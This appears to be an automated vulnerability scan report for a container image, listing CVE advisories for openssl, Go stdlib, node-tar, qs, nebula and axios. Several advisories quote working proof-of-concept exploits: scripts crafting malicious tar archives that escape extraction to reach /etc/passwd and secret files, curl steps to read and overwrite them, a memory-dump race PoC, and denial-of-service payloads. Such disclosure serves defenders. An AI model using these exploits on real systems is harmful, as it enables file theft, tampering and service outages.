by src:shadow and util-linux is configured with --disable-chfn-chsh

openssl 3.5.4-1~deb13u2 (deb)

pkg:deb/debian/openssl@3.5.4-1~deb13u2?os_distro=trixie&os_name=debian&os_version=13

Affected range	`>=3.2.1-3`
Fixed version	Not Fixed
EPSS Score	`0.094%`
EPSS Percentile	`27th percentile`

Description

OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a "fault-based attack."

http://www.eecs.umich.edu/~valeria/research/publications/DATE10RSA.pdf
openssl/openssl#24540
Fault injection based attacks are not within OpenSSLs threat model according
to the security policy: https://www.openssl.org/policies/general/security-policy.html

github-actions · 2026-02-10T04:08:47Z

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-viewer:pr-188`

📦 Image Reference ghcr.io/mkaraki/illuststore-viewer:pr-188

digest	`sha256:51c8cf4816a9e46bf588befc174173a5aadbbdff5e4fbcf430d3a06a44d7aa08`
vulnerabilities
platform	linux/amd64
size	353 MB
packages	913

📦 Base Image php:8.4-zts-trixie

also known as	`8.4.16-zts-trixie`
digest	`sha256:d1d9112072565f0070e404c0b290c31027495b591ba89bd5231f90d618154936`
vulnerabilities

stdlib 1.23.12 (golang)

pkg:golang/stdlib@1.23.12

Affected range	`<1.24.11`
Fixed version	`1.24.11`
EPSS Score	`0.017%`
EPSS Percentile	`3rd percentile`

Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

Affected range	`<1.24.12`
Fixed version	`1.24.12`
EPSS Score	`0.023%`
EPSS Percentile	`6th percentile`

Description

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.031%`
EPSS Percentile	`9th percentile`

Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.038%`
EPSS Percentile	`11th percentile`

Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.018%`
EPSS Percentile	`4th percentile`

Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

Affected range	`<1.24.9`
Fixed version	`1.24.9`
EPSS Score	`0.018%`
EPSS Percentile	`4th percentile`

Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

Affected range	`<1.24.12`
Fixed version	`1.24.12`
EPSS Score	`0.016%`
EPSS Percentile	`3rd percentile`

Description

archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive.

Affected range	`<1.24.11`
Fixed version	`1.24.11`
EPSS Score	`0.010%`
EPSS Percentile	`1st percentile`

Description

An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com.

Affected range	`<1.24.12`
Fixed version	`1.24.12`
EPSS Score	`0.024%`
EPSS Percentile	`6th percentile`

Description

During the TLS 1.3 handshake if multiple messages are sent in records that span encryption level boundaries (for instance the Client Hello and Encrypted Extensions messages), the subsequent messages may be processed before the encryption level changes. This can cause some minor information disclosure if a network-local attacker can inject messages during the handshake.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.022%`
EPSS Percentile	`5th percentile`

Description

The Reader.ReadResponse function constructs a response string through repeated string concatenation of lines. When the number of lines in a response is large, this can cause excessive CPU consumption.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.014%`
EPSS Percentile	`2nd percentile`

Description

When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.030%`
EPSS Percentile	`8th percentile`

Description

Despite HTTP headers having a default limit of 1MB, the number of cookies that can be parsed does not have a limit. By sending a lot of very small cookies such as "a=;", an attacker can make an HTTP server allocate a large amount of structs, causing large memory consumption.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.032%`
EPSS Percentile	`9th percentile`

Description

Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.032%`
EPSS Percentile	`9th percentile`

Description

The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL. RFC 3986 permits IPv6 addresses to be included within the host component, enclosed within square brackets. For example: "http://[::1]/". IPv4 addresses and hostnames must not appear within square brackets. Parse did not enforce this requirement.

Affected range	`<1.24.13`
Fixed version	`1.24.13`
EPSS Score	`0.012%`
EPSS Percentile	`1st percentile`

Description

During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.016%`
EPSS Percentile	`3rd percentile`

Description

tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A maliciously-crafted archive containing a large number of sparse regions can cause a Reader to read an unbounded amount of data from the archive into memory. When reading from a compressed source, a small compressed input can result in large allocations.

tar 7.5.1 (npm)

pkg:npm/tar@7.5.1

Improper Handling of Unicode Encoding

Affected range	`<=7.5.3`
Fixed version	`7.5.4`
CVSS Score	`8.8`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L`
EPSS Score	`0.015%`
EPSS Percentile	`3rd percentile`

Description

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});
Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<7.5.7`
Fixed version	`7.5.7`
CVSS Score	`8.2`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N`
EPSS Score	`0.025%`
EPSS Percentile	`6th percentile`

Description

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:
poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt
Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result

SSH Access ~/.ssh/authorized_keys Direct shell access to server

Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution

Shell RC Files ~/.bashrc, ~/.profile Code execution on user login

Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests

Systemd Services /etc/systemd/system/*.service Code execution on service restart

User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

Overwrite arbitrary files via hardlink escape + subsequent write operations

Read sensitive files by creating hardlinks that point outside extraction directory

Corrupt databases and application state

Steal credentials from config files, .env, secrets

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<=7.5.2`
Fixed version	`7.5.3`
CVSS Score	`8.2`
CVSS Vector	`CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N`
EPSS Score	`0.009%`
EPSS Percentile	`1st percentile`

Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})
Impact

Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.

Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected range	`=7.5.1`
Fixed version	`7.5.2`
CVSS Score	`6.1`
CVSS Vector	`CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H`
EPSS Score	`0.005%`
EPSS Percentile	`0th percentile`

Description

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

Race condition leading to uninitialized memory exposure isaacs/node-tar#445

fix: do not return uninitialized memory isaacs/node-tar#446

Regression happened in isaacs/node-tar@5330eb0

PoC

A:
import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}
B (vulnerable):
import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}
Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.

stdlib 1.25.5 (golang)

pkg:golang/stdlib@1.25.5

Affected range	`>=1.25.0 <1.25.6`
Fixed version	`1.25.6`
EPSS Score	`0.023%`
EPSS Percentile	`6th percentile`

Description

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

Affected range	`>=1.25.0 <1.25.6`
Fixed version	`1.25.6`
EPSS Score	`0.016%`
EPSS Percentile	`3rd percentile`

Description

archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive.

Affected range	`>=1.25.0 <1.25.6`
Fixed version	`1.25.6`
EPSS Score	`0.024%`
EPSS Percentile	`6th percentile`

Description

During the TLS 1.3 handshake if multiple messages are sent in records that span encryption level boundaries (for instance the Client Hello and Encrypted Extensions messages), the subsequent messages may be processed before the encryption level changes. This can cause some minor information disclosure if a network-local attacker can inject messages during the handshake.

Affected range	`>=1.25.0-0 <1.25.7`
Fixed version	`1.25.7`
EPSS Score	`0.012%`
EPSS Percentile	`1st percentile`

Description

During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

qs 6.14.0 (npm)

pkg:npm/qs@6.14.0

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.163%`
EPSS Percentile	`37th percentile`

Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)
Configuration:

arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)

Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)

Application parses with qs.parse(query, { arrayLimit: 100 })

qs ignores limit, parses all 100,000 elements into array

Server memory exhausted → application crashes or becomes unresponsive

Service unavailable for all users

Real-world impact:

Single malicious request can crash server

No authentication required

Easy to automate and scale

Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

github.com/slackhq/nebula 1.9.7 (golang)

pkg:golang/github.com/slackhq/nebula@1.9.7

Improper Verification of Cryptographic Signature

Affected range	`>=1.7.0 <=1.10.2`
Fixed version	`1.10.3`
CVSS Score	`7.6`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.017%`
EPSS Percentile	`3rd percentile`

Description

Impact

When using P256 certificates (which is not the default configuration), it is possible to evade a blocklist entry created against the fingerprint of a certificate by using ECDSA Signature Malleability to use a copy of the certificate with a different fingerprint.

In order for this to affect a user or network, all of the following must be true:

CURVE_P256 certificates are being used

There are one or more entries on the blocklist

The certificates for those entries are signed by a trusted CA and not expired

An attacker has a copy of the private key, and corresponding certificate, for one of those blocklist entries

Patches

See attached

Workarounds

If full copies of each certificate on the existing blocklist are available, it is possible to compute their opposite-chirality signature, and then the appropriate second fingerprint to list in the blocklist.

Rotating out all CAs that have signed hosts on the blocklist will also prevent exploitation of this vulnerability.

axios 1.12.2 (npm)

pkg:npm/axios@1.12.2

Improper Check for Unusual or Exceptional Conditions

Affected range	`<=1.13.4`
Fixed version	`1.13.5`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Description

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property

Object.keys() includes '__proto__' in the iteration

mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)

The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype

Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75

Axios.getUri() at lib/core/Axios.js:201

All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:

